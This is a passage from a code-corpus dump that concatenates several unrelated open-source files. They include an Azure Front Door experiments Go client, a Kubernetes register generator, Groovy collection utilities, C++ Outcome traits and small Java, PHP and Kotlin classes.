resourceGroupName, Constraints: []validation.Constraint{{Target: "resourceGroupName", Name: validation.MaxLength, Rule: 80, Chain: nil}, {Target: "resourceGroupName", Name: validation.MinLength, Rule: 1, Chain: nil}, {Target: "resourceGroupName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: profileName, Constraints: []validation.Constraint{{Target: "profileName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: experimentName, Constraints: []validation.Constraint{{Target: "experimentName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}}); err != nil { return result, validation.NewError("frontdoor.ExperimentsClient", "Get", err.Error()) } req, err := client.GetPreparer(ctx, resourceGroupName, profileName, experimentName) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "Get", nil, "Failure preparing request") return } resp, err := client.GetSender(req) if err != nil { result.Response = autorest.Response{Response: resp} err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "Get", resp, "Failure sending request") return } result, err = client.GetResponder(resp) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "Get", resp, "Failure responding to request") } return } // GetPreparer prepares the Get request. func (client ExperimentsClient) GetPreparer(ctx context.Context, resourceGroupName string, profileName string, experimentName string) (*http.Request, error) { pathParameters := map[string]interface{}{ "experimentName": autorest.Encode("path", experimentName), "profileName": autorest.Encode("path", profileName), "resourceGroupName": autorest.Encode("path", resourceGroupName), "subscriptionId": autorest.Encode("path", client.SubscriptionID), } const APIVersion = "2019-11-01" queryParameters := map[string]interface{}{ "api-version": APIVersion, } preparer := autorest.CreatePreparer( autorest.AsGet(), autorest.WithBaseURL(client.BaseURI), autorest.WithPathParameters("/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/NetworkExperimentProfiles/{profileName}/Experiments/{experimentName}", pathParameters), autorest.WithQueryParameters(queryParameters)) return preparer.Prepare((&http.Request{}).WithContext(ctx)) } // GetSender sends the Get request. The method will close the // http.Response Body if it receives an error. func (client ExperimentsClient) GetSender(req *http.Request) (*http.Response, error) { return client.Send(req, azure.DoRetryWithRegistration(client.Client)) } // GetResponder handles the response to the Get request. The method always // closes the http.Response Body. func (client ExperimentsClient) GetResponder(resp *http.Response) (result Experiment, err error) { err = autorest.Respond( resp, azure.WithErrorUnlessStatusCode(http.StatusOK), autorest.ByUnmarshallingJSON(&result), autorest.ByClosing()) result.Response = autorest.Response{Response: resp} return } // ListByProfile sends the list by profile request. // Parameters: // resourceGroupName - name of the Resource group within the Azure subscription. // profileName - the Profile identifier associated with the Tenant and Partner func (client ExperimentsClient) ListByProfile(ctx context.Context, resourceGroupName string, profileName string) (result ExperimentListPage, err error) { if tracing.IsEnabled() { ctx = tracing.StartSpan(ctx, fqdn+"/ExperimentsClient.ListByProfile") defer func() { sc := -1 if result.el.Response.Response != nil { sc = result.el.Response.Response.StatusCode } tracing.EndSpan(ctx, sc, err) }() } if err := validation.Validate([]validation.Validation{ {TargetValue: resourceGroupName, Constraints: []validation.Constraint{{Target: "resourceGroupName", Name: validation.MaxLength, Rule: 80, Chain: nil}, {Target: "resourceGroupName", Name: validation.MinLength, Rule: 1, Chain: nil}, {Target: "resourceGroupName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: profileName, Constraints: []validation.Constraint{{Target: "profileName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}}); err != nil { return result, validation.NewError("frontdoor.ExperimentsClient", "ListByProfile", err.Error()) } result.fn = client.listByProfileNextResults req, err := client.ListByProfilePreparer(ctx, resourceGroupName, profileName) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "ListByProfile", nil, "Failure preparing request") return } resp, err := client.ListByProfileSender(req) if err != nil { result.el.Response = autorest.Response{Response: resp} err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "ListByProfile", resp, "Failure sending request") return } result.el, err = client.ListByProfileResponder(resp) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "ListByProfile", resp, "Failure responding to request") } return } // ListByProfilePreparer prepares the ListByProfile request. func (client ExperimentsClient) ListByProfilePreparer(ctx context.Context, resourceGroupName string, profileName string) (*http.Request, error) { pathParameters := map[string]interface{}{ "profileName": autorest.Encode("path", profileName), "resourceGroupName": autorest.Encode("path", resourceGroupName), "subscriptionId": autorest.Encode("path", client.SubscriptionID), } const APIVersion = "2019-11-01" queryParameters := map[string]interface{}{ "api-version": APIVersion, } preparer := autorest.CreatePreparer( autorest.AsGet(), autorest.WithBaseURL(client.BaseURI), autorest.WithPathParameters("/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/NetworkExperimentProfiles/{profileName}/Experiments", pathParameters), autorest.WithQueryParameters(queryParameters)) return preparer.Prepare((&http.Request{}).WithContext(ctx)) } // ListByProfileSender sends the ListByProfile request. The method will close the // http.Response Body if it receives an error. func (client ExperimentsClient) ListByProfileSender(req *http.Request) (*http.Response, error) { return client.Send(req, azure.DoRetryWithRegistration(client.Client)) } // ListByProfileResponder handles the response to the ListByProfile request. The method always // closes the http.Response Body. func (client ExperimentsClient) ListByProfileResponder(resp *http.Response) (result ExperimentList, err error) { err = autorest.Respond( resp, azure.WithErrorUnlessStatusCode(http.StatusOK), autorest.ByUnmarshallingJSON(&result), autorest.ByClosing()) result.Response = autorest.Response{Response: resp} return } // listByProfileNextResults retrieves the next set of results, if any. func (client ExperimentsClient) listByProfileNextResults(ctx context.Context, lastResults ExperimentList) (result ExperimentList, err error) { req, err := lastResults.experimentListPreparer(ctx) if err != nil { return result, autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "listByProfileNextResults", nil, "Failure preparing next results request") } if req == nil { return } resp, err := client.ListByProfileSender(req) if err != nil { result.Response = autorest.Response{Response: resp} return result, autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "listByProfileNextResults", resp, "Failure sending next results request") } result, err = client.ListByProfileResponder(resp) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "listByProfileNextResults", resp, "Failure responding to next results request") } return } // ListByProfileComplete enumerates all values, automatically crossing page boundaries as required. func (client ExperimentsClient) ListByProfileComplete(ctx context.Context, resourceGroupName string, profileName string) (result ExperimentListIterator, err error) { if tracing.IsEnabled() { ctx = tracing.StartSpan(ctx, fqdn+"/ExperimentsClient.ListByProfile") defer func() { sc := -1 if result.Response().Response.Response != nil { sc = result.page.Response().Response.Response.StatusCode } tracing.EndSpan(ctx, sc, err) }() } result.page, err = client.ListByProfile(ctx, resourceGroupName, profileName) return } // Update updates an Experiment // Parameters: // resourceGroupName - name of the Resource group within the Azure subscription. // profileName - the Profile identifier associated with the Tenant and Partner // experimentName - the Experiment identifier associated with the Experiment // parameters - the Experiment Update Model func (client ExperimentsClient) Update(ctx context.Context, resourceGroupName string, profileName string, experimentName string, parameters ExperimentUpdateModel) (result ExperimentsUpdateFuture, err error) { if tracing.IsEnabled() { ctx = tracing.StartSpan(ctx, fqdn+"/ExperimentsClient.Update") defer func() { sc := -1 if result.Response() != nil { sc = result.Response().StatusCode } tracing.EndSpan(ctx, sc, err) }() } if err := validation.Validate([]validation.Validation{ {TargetValue: resourceGroupName, Constraints: []validation.Constraint{{Target: "resourceGroupName", Name: validation.MaxLength, Rule: 80, Chain: nil}, {Target: "resourceGroupName", Name: validation.MinLength, Rule: 1, Chain: nil}, {Target: "resourceGroupName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: profileName, Constraints: []validation.Constraint{{Target: "profileName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}, {TargetValue: experimentName, Constraints: []validation.Constraint{{Target: "experimentName", Name: validation.Pattern, Rule: `^[a-zA-Z0-9_\-\(\)\.]*[^\.]$`, Chain: nil}}}}); err != nil { return result, validation.NewError("frontdoor.ExperimentsClient", "Update", err.Error()) } req, err := client.UpdatePreparer(ctx, resourceGroupName, profileName, experimentName, parameters) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "Update", nil, "Failure preparing request") return } result, err = client.UpdateSender(req) if err != nil { err = autorest.NewErrorWithError(err, "frontdoor.ExperimentsClient", "Update", result.Response(), "Failure sending request") return } return } // UpdatePreparer prepares the Update request. func (client ExperimentsClient) UpdatePreparer(ctx context.Context, resourceGroupName string, profileName string, experimentName string, parameters ExperimentUpdateModel) (*http.Request, error) { pathParameters := map[string]interface{}{ "experimentName": autorest.Encode("path", experimentName), "profileName": autorest.Encode("path", profileName), "resourceGroupName": autorest.Encode("path", resourceGroupName), "subscriptionId": autorest.Encode("path", client.SubscriptionID), } const APIVersion = "2019-11-01" queryParameters := map[string]interface{}{ "api-version": APIVersion, } preparer := autorest.CreatePreparer( autorest.AsContentType("application/json; charset=utf-8"), autorest.AsPatch(), autorest.WithBaseURL(client.BaseURI), autorest.WithPathParameters("/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/NetworkExperimentProfiles/{profileName}/Experiments/{experimentName}", pathParameters), autorest.WithJSON(parameters), autorest.WithQueryParameters(queryParameters)) return preparer.Prepare((&http.Request{}).WithContext(ctx)) } // UpdateSender sends the Update request. The method will close the // http.Response Body if it receives an error. func (client ExperimentsClient) UpdateSender(req *http.Request) (future ExperimentsUpdateFuture, err error) { var resp *http.Response resp, err = client.Send(req, azure.DoRetryWithRegistration(client.Client)) if err != nil { return } future.Future, err = azure.NewFutureFromResponse(resp) return } // UpdateResponder handles the response to the Update request. The method always // closes the http.Response Body. func (client ExperimentsClient) UpdateResponder(resp *http.Response) (result Experiment, err error) { err = autorest.Respond( resp, azure.WithErrorUnlessStatusCode(http.StatusOK, http.StatusAccepted), autorest.ByUnmarshallingJSON(&result), autorest.ByClosing()) result.Response = autorest.Response{Response: resp} return }
{ "pile_set_name": "Github" }
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package generators import ( "fmt" "os" "path" "strings" "k8s.io/klog" clientgentypes "k8s.io/code-generator/cmd/client-gen/types" "k8s.io/gengo/args" "k8s.io/gengo/generator" "k8s.io/gengo/namer" "k8s.io/gengo/types" ) // NameSystems returns the name system used by the generators in this package. func NameSystems() namer.NameSystems { return namer.NameSystems{} } // DefaultNameSystem returns the default name system for ordering the types to be // processed by the generators in this package. func DefaultNameSystem() string { return "public" } // Packages makes packages to generate. func Packages(context *generator.Context, arguments *args.GeneratorArgs) generator.Packages { boilerplate, err := arguments.LoadGoBoilerplate() if err != nil { klog.Fatalf("Failed loading boilerplate: %v", err) } packages := generator.Packages{} for _, inputDir := range arguments.InputDirs { pkg := context.Universe.Package(inputDir) internal, err := isInternal(pkg) if err != nil { klog.V(5).Infof("skipping the generation of %s file, due to err %v", arguments.OutputFileBaseName, err) continue } if internal { klog.V(5).Infof("skipping the generation of %s file because %s package contains internal types, note that internal types don't have \"json\" tags", arguments.OutputFileBaseName, pkg.Name) continue } registerFileName := "register.go" searchPath := path.Join(args.DefaultSourceTree(), inputDir, registerFileName) if _, err := os.Stat(path.Join(searchPath)); err == nil { klog.V(5).Infof("skipping the generation of %s file because %s already exists in the path %s", arguments.OutputFileBaseName, registerFileName, searchPath) continue } else if err != nil && !os.IsNotExist(err) { klog.Fatalf("an error %v has occurred while checking if %s exists", err, registerFileName) } gv := clientgentypes.GroupVersion{} { pathParts := strings.Split(pkg.Path, "/") if len(pathParts) < 2 { klog.Errorf("the path of the package must contain the group name and the version, path = %s", pkg.Path) continue } gv.Group = clientgentypes.Group(pathParts[len(pathParts)-2]) gv.Version = clientgentypes.Version(pathParts[len(pathParts)-1]) // if there is a comment of the form "// +groupName=somegroup" or "// +groupName=somegroup.foo.bar.io", // extract the fully qualified API group name from it and overwrite the group inferred from the package path if override := types.ExtractCommentTags("+", pkg.DocComments)["groupName"]; override != nil { groupName := override[0] klog.V(5).Infof("overriding the group name with = %s", groupName) gv.Group = clientgentypes.Group(groupName) } } typesToRegister := []*types.Type{} for _, t := range pkg.Types { klog.V(5).Infof("considering type = %s", t.Name.String()) for _, typeMember := range t.Members { if typeMember.Name == "TypeMeta" && typeMember.Embedded == true { typesToRegister = append(typesToRegister, t) } } } packages = append(packages, &generator.DefaultPackage{ PackageName: pkg.Name, PackagePath: pkg.Path, HeaderText: boilerplate, GeneratorFunc: func(c *generator.Context) (generators []generator.Generator) { return []generator.Generator{ &registerExternalGenerator{ DefaultGen: generator.DefaultGen{ OptionalName: arguments.OutputFileBaseName, }, gv: gv, typesToGenerate: typesToRegister, outputPackage: pkg.Path, imports: generator.NewImportTracker(), }, } }, }) } return packages } // isInternal determines whether the given package // contains the internal types or not func isInternal(p *types.Package) (bool, error) { for _, t := range p.Types { for _, member := range t.Members { if member.Name == "TypeMeta" { return !strings.Contains(member.Tags, "json"), nil } } } return false, fmt.Errorf("unable to find TypeMeta for any types in package %s", p.Path) }
{ "pile_set_name": "Github" }
// Copyright 2014 MongoDB Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include <mongocxx/model/replace_one.hpp> #include <mongocxx/config/private/prelude.hh> namespace mongocxx { MONGOCXX_INLINE_NAMESPACE_BEGIN namespace model { replace_one::replace_one(bsoncxx::document::view_or_value filter, bsoncxx::document::view_or_value replacement) : _filter(std::move(filter)), _replacement(std::move(replacement)) {} const bsoncxx::document::view_or_value& replace_one::filter() const { return _filter; } const bsoncxx::document::view_or_value& replace_one::replacement() const { return _replacement; } replace_one& replace_one::collation(bsoncxx::document::view_or_value collation) { _collation = collation; return *this; } const stdx::optional<bsoncxx::document::view_or_value>& replace_one::collation() const { return _collation; } replace_one& replace_one::upsert(bool upsert) { _upsert = upsert; return *this; } const stdx::optional<bool>& replace_one::upsert() const { return _upsert; } replace_one& replace_one::hint(class hint index_hint) { _hint = std::move(index_hint); return *this; } const stdx::optional<class hint>& replace_one::hint() const { return _hint; } } // namespace model MONGOCXX_INLINE_NAMESPACE_END } // namespace mongocxx
{ "pile_set_name": "Github" }
// Copyright 2011-2016 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package com.google.security.zynamics.binnavi.ZyGraph.Updaters.CodeNodes; import com.google.common.base.Preconditions; import com.google.security.zynamics.binnavi.disassembly.COperandTreeNode; import com.google.security.zynamics.binnavi.disassembly.INaviOperandTreeNode; import com.google.security.zynamics.binnavi.disassembly.INaviOperandTreeNodeListener; import com.google.security.zynamics.binnavi.disassembly.OperandDisplayStyle; import com.google.security.zynamics.binnavi.yfileswrap.zygraph.ZyGraph; import com.google.security.zynamics.zylib.disassembly.IReference; import com.google.security.zynamics.zylib.yfileswrap.gui.zygraph.realizers.IZyNodeRealizer; /** * Updates the code node on changes to the operands. */ public final class COperandUpdater implements INaviOperandTreeNodeListener { /** * Graph to update on changes. */ private final ZyGraph graph; /** * Realizer of the node to update. */ private IZyNodeRealizer nodeRealizer; /** * Creates a new updater object. * * @param graph Graph to update on changes. */ public COperandUpdater(final ZyGraph graph) { this.graph = Preconditions.checkNotNull(graph, "Error: graph argument can not be null."); } /** * Regenerates the content of the node and updates the graph view. */ private void rebuildNode() { nodeRealizer.regenerate(); graph.updateViews(); } @Override public void addedReference( final INaviOperandTreeNode operandTreeNode, final IReference reference) { // References are not shown in code nodes => No rebuild necessary when a reference changes } @Override public void changedDisplayStyle( final COperandTreeNode operandTreeNode, final OperandDisplayStyle style) { rebuildNode(); } @Override public void changedValue(final INaviOperandTreeNode operandTreeNode) { rebuildNode(); } @Override public void removedReference( final INaviOperandTreeNode operandTreeNode, final IReference reference) { // References are not shown in code nodes => No rebuild necessary when a reference changes } /** * Sets the realizer of the node to update. * * @param realizer The realizer of the node to update. */ public void setRealizer(final IZyNodeRealizer realizer) { nodeRealizer = realizer; } }
{ "pile_set_name": "Github" }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package groovy.util; import org.codehaus.groovy.runtime.typehandling.DefaultTypeTransformation; import org.codehaus.groovy.runtime.ScriptBytecodeAdapter; import org.codehaus.groovy.runtime.DefaultGroovyMethods; import java.util.*; /** * A Collections utility class * * @author Paul King * @author Jim White */ public class GroovyCollections { /** * Finds all combinations of items from the given collections. * * @param collections the given collections * @return a List of the combinations found * @see #combinations(Collection) */ public static List combinations(Object[] collections) { return combinations((Iterable)Arrays.asList(collections)); } /** * Finds all non-null subsequences of a list. * E.g. <code>subsequences([1, 2, 3])</code> would be: * [[1, 2, 3], [1, 3], [2, 3], [1, 2], [1], [2], [3]] * * @param items the List of items * @return the subsequences from items */ public static <T> Set<List<T>> subsequences(List<T> items) { // items.inject([]){ ss, h -> ss.collect { it + [h] } + ss + [[h]] } Set<List<T>> ans = new HashSet<List<T>>(); for (T h : items) { Set<List<T>> next = new HashSet<List<T>>(); for (List<T> it : ans) { List<T> sublist = new ArrayList<T>(it); sublist.add(h); next.add(sublist); } next.addAll(ans); List<T> hlist = new ArrayList<T>(); hlist.add(h); next.add(hlist); ans = next; } return ans; } /** * @param collections the given collections * @deprecated use combinations(Iterable) */ @Deprecated public static List combinations(Collection collections) { return combinations((Iterable)collections); } /** * Finds all combinations of items from the given Iterable aggregate of collections. * So, <code>combinations([[true, false], [true, false]])</code> * is <code>[[true, true], [false, true], [true, false], [false, false]]</code> * and <code>combinations([['a', 'b'],[1, 2, 3]])</code> * is <code>[['a', 1], ['b', 1], ['a', 2], ['b', 2], ['a', 3], ['b', 3]]</code>. * If a non-collection item is given, it is treated as a singleton collection, * i.e. <code>combinations([[1, 2], 'x'])</code> is <code>[[1, 'x'], [2, 'x']]</code>. * * @param collections the Iterable of given collections * @return a List of the combinations found * @since 2.2.0 */ public static List combinations(Iterable collections) { List collectedCombos = new ArrayList(); for (Object collection : collections) { Iterable items = DefaultTypeTransformation.asCollection(collection); if (collectedCombos.isEmpty()) { for (Object item : items) { List l = new ArrayList(); l.add(item); collectedCombos.add(l); } } else { List savedCombos = new ArrayList(collectedCombos); List newCombos = new ArrayList(); for (Object value : items) { for (Object savedCombo : savedCombos) { List oldList = new ArrayList((List) savedCombo); oldList.add(value); newCombos.add(oldList); } } collectedCombos = newCombos; } } return collectedCombos; } /** * Transposes an array of lists. * * @param lists the given lists * @return a List of the transposed lists * @see #transpose(List) */ public static List transpose(Object[] lists) { return transpose(Arrays.asList(lists)); } /** * Transposes the given lists. * So, <code>transpose([['a', 'b'], [1, 2]])</code> * is <code>[['a', 1], ['b', 2]]</code> and * <code>transpose([['a', 'b', 'c']])</code> * is <code>[['a'], ['b'], ['c']]</code>. * * @param lists the given lists * @return a List of the transposed lists */ public static List transpose(List lists) { List result = new ArrayList(); if (lists.isEmpty() || lists.size() == 0) return result; int minSize = Integer.MAX_VALUE; for (Object listLike : lists) { List list = (List) DefaultTypeTransformation.castToType(listLike, List.class); if (list.size() < minSize) minSize = list.size(); } if (minSize == 0) return result; for (int i = 0; i < minSize; i++) { result.add(new ArrayList()); } for (Object listLike : lists) { List list = (List) DefaultTypeTransformation.castToType(listLike, List.class); for (int i = 0; i < minSize; i++) { List resultList = (List) result.get(i); resultList.add(list.get(i)); } } return result; } /** * Selects the minimum value found in an array of items, so * min([2, 4, 6] as Object[]) == 2. * * @param items an array of items * @return the minimum value */ public static <T> T min(T[] items) { return min((Iterable<T>)Arrays.asList(items)); } /** * @deprecated use min(Iterable) */ @Deprecated public static <T> T min(Collection<T> items) { return min((Iterable<T>)items); } /** * Selects the minimum value found in an Iterable of items. * * @param items an Iterable * @return the minimum value * @since 2.2.0 */ public static <T> T min(Iterable<T> items) { T answer = null; for (T value : items) { if (value != null) { if (answer == null || ScriptBytecodeAdapter.compareLessThan(value, answer)) { answer = value; } } } return answer; } /** * Selects the maximum value found in an array of items, so * min([2, 4, 6] as Object[]) == 6. * * @param items an array of items * @return the maximum value */ public static <T> T max(T[] items) { return max((Iterable<T>)Arrays.asList(items)); } /** * @deprecated use max(Iterable) */ @Deprecated public static <T> T max(Collection<T> items) { return max((Iterable<T>)items); } /** * Selects the maximum value found in an Iterable. * * @param items a Collection * @return the maximum value * @since 2.2.0 */ public static <T> T max(Iterable<T> items) { T answer = null; for (T value : items) { if (value != null) { if (answer == null || ScriptBytecodeAdapter.compareGreaterThan(value, answer)) { answer = value; } } } return answer; } /** * Sums all the items from an array of items. * * @param items an array of items * @return the sum of the items */ public static Object sum(Object[] items) { return sum((Iterable)Arrays.asList(items)); } /** * @deprecated use sum(Iterable) */ @Deprecated public static Object sum(Collection items) { return sum((Iterable)items); } /** * Sums all the given items. * * @param items an Iterable of items * @return the sum of the item * @since 2.2.0 */ public static Object sum(Iterable items) { return DefaultGroovyMethods.sum(items); } }
{ "pile_set_name": "Github" }
/* * Copyright 2012 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.gradle.api.internal.artifacts.repositories; import org.gradle.api.NamedDomainObjectCollection; import org.gradle.api.artifacts.repositories.ArtifactRepository; import org.gradle.util.DeprecationLogger; public abstract class AbstractArtifactRepository implements ArtifactRepositoryInternal, ResolutionAwareRepository, PublicationAwareRepository { private String name; private boolean isPartOfContainer; public void onAddToContainer(NamedDomainObjectCollection<ArtifactRepository> container) { isPartOfContainer = true; } public String getName() { return name; } public void setName(String name) { if (isPartOfContainer) { DeprecationLogger.nagUserOfDeprecated("Changing the name of an ArtifactRepository that is part of a container", "Set the name when creating the repository"); } this.name = name; } }
{ "pile_set_name": "Github" }
/* Traits for Outcome (C) 2018-2019 Niall Douglas <http://www.nedproductions.biz/> (8 commits) File Created: March 2018 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License in the accompanying file Licence.txt or at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Distributed under the Boost Software License, Version 1.0. (See accompanying file Licence.txt or copy at http://www.boost.org/LICENSE_1_0.txt) */ #ifndef OUTCOME_TRAIT_HPP #define OUTCOME_TRAIT_HPP #include "config.hpp" OUTCOME_V2_NAMESPACE_BEGIN namespace trait { /*! AWAITING HUGO JSON CONVERSION TOOL SIGNATURE NOT RECOGNISED */ template <class R> // static constexpr bool type_can_be_used_in_basic_result = // (!std::is_reference<R>::value // && !OUTCOME_V2_NAMESPACE::detail::is_in_place_type_t<std::decay_t<R>>::value // && !is_success_type<R> // && !is_failure_type<R> // && !std::is_array<R>::value // && (std::is_void<R>::value || (std::is_object<R>::value // && std::is_destructible<R>::value)) // ); /*! AWAITING HUGO JSON CONVERSION TOOL type definition is_error_type. Potential doc page: NOT FOUND */ template <class E> struct is_error_type { static constexpr bool value = false; }; /*! AWAITING HUGO JSON CONVERSION TOOL type definition is_error_type_enum. Potential doc page: NOT FOUND */ template <class E, class Enum> struct is_error_type_enum { static constexpr bool value = false; }; namespace detail { template <class T> using devoid = OUTCOME_V2_NAMESPACE::detail::devoid<T>; template <class T> std::add_rvalue_reference_t<devoid<T>> declval() noexcept; // From http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/n4436.pdf namespace detector_impl { template <class...> using void_t = void; template <class Default, class, template <class...> class Op, class... Args> struct detector { static constexpr bool value = false; using type = Default; }; template <class Default, template <class...> class Op, class... Args> struct detector<Default, void_t<Op<Args...>>, Op, Args...> { static constexpr bool value = true; using type = Op<Args...>; }; } // namespace detector_impl template <template <class...> class Op, class... Args> using is_detected = detector_impl::detector<void, void, Op, Args...>; template <class Arg> using result_of_make_error_code = decltype(make_error_code(declval<Arg>())); template <class Arg> using introspect_make_error_code = is_detected<result_of_make_error_code, Arg>; template <class Arg> using result_of_make_exception_ptr = decltype(make_exception_ptr(declval<Arg>())); template <class Arg> using introspect_make_exception_ptr = is_detected<result_of_make_exception_ptr, Arg>; template <class T> struct _is_error_code_available { static constexpr bool value = detail::introspect_make_error_code<T>::value; using type = typename detail::introspect_make_error_code<T>::type; }; template <class T> struct _is_exception_ptr_available { static constexpr bool value = detail::introspect_make_exception_ptr<T>::value; using type = typename detail::introspect_make_exception_ptr<T>::type; }; } // namespace detail /*! AWAITING HUGO JSON CONVERSION TOOL type definition is_error_code_available. Potential doc page: NOT FOUND */ template <class T> struct is_error_code_available { static constexpr bool value = detail::_is_error_code_available<std::decay_t<T>>::value; using type = typename detail::_is_error_code_available<std::decay_t<T>>::type; }; template <class T> constexpr bool is_error_code_available_v = detail::_is_error_code_available<std::decay_t<T>>::value; /*! AWAITING HUGO JSON CONVERSION TOOL type definition is_exception_ptr_available. Potential doc page: NOT FOUND */ template <class T> struct is_exception_ptr_available { static constexpr bool value = detail::_is_exception_ptr_available<std::decay_t<T>>::value; using type = typename detail::_is_exception_ptr_available<std::decay_t<T>>::type; }; template <class T> constexpr bool is_exception_ptr_available_v = detail::_is_exception_ptr_available<std::decay_t<T>>::value; } // namespace trait OUTCOME_V2_NAMESPACE_END #endif
{ "pile_set_name": "Github" }
<?php /* * Copyright 2014 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ class Google_Service_AdSense_ReportingMetadataEntry extends Google_Collection { protected $collection_key = 'supportedProducts'; public $compatibleDimensions; public $compatibleMetrics; public $id; public $kind; public $requiredDimensions; public $requiredMetrics; public $supportedProducts; public function setCompatibleDimensions($compatibleDimensions) { $this->compatibleDimensions = $compatibleDimensions; } public function getCompatibleDimensions() { return $this->compatibleDimensions; } public function setCompatibleMetrics($compatibleMetrics) { $this->compatibleMetrics = $compatibleMetrics; } public function getCompatibleMetrics() { return $this->compatibleMetrics; } public function setId($id) { $this->id = $id; } public function getId() { return $this->id; } public function setKind($kind) { $this->kind = $kind; } public function getKind() { return $this->kind; } public function setRequiredDimensions($requiredDimensions) { $this->requiredDimensions = $requiredDimensions; } public function getRequiredDimensions() { return $this->requiredDimensions; } public function setRequiredMetrics($requiredMetrics) { $this->requiredMetrics = $requiredMetrics; } public function getRequiredMetrics() { return $this->requiredMetrics; } public function setSupportedProducts($supportedProducts) { $this->supportedProducts = $supportedProducts; } public function getSupportedProducts() { return $this->supportedProducts; } }
{ "pile_set_name": "Github" }
/* * Copyright 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package androidx.ui.text.font data class FontFamilyList(val fontFamilies: List<FontFamily>) : List<FontFamily> by fontFamilies { constructor(fontFamily: FontFamily) : this(listOf(fontFamily)) constructor(vararg fontFamily: FontFamily) : this(fontFamily.asList()) init { assert(fontFamilies.size > 0) { "At least one FontFamily required in FontFamilyList" } } }
{ "pile_set_name": "Github" }
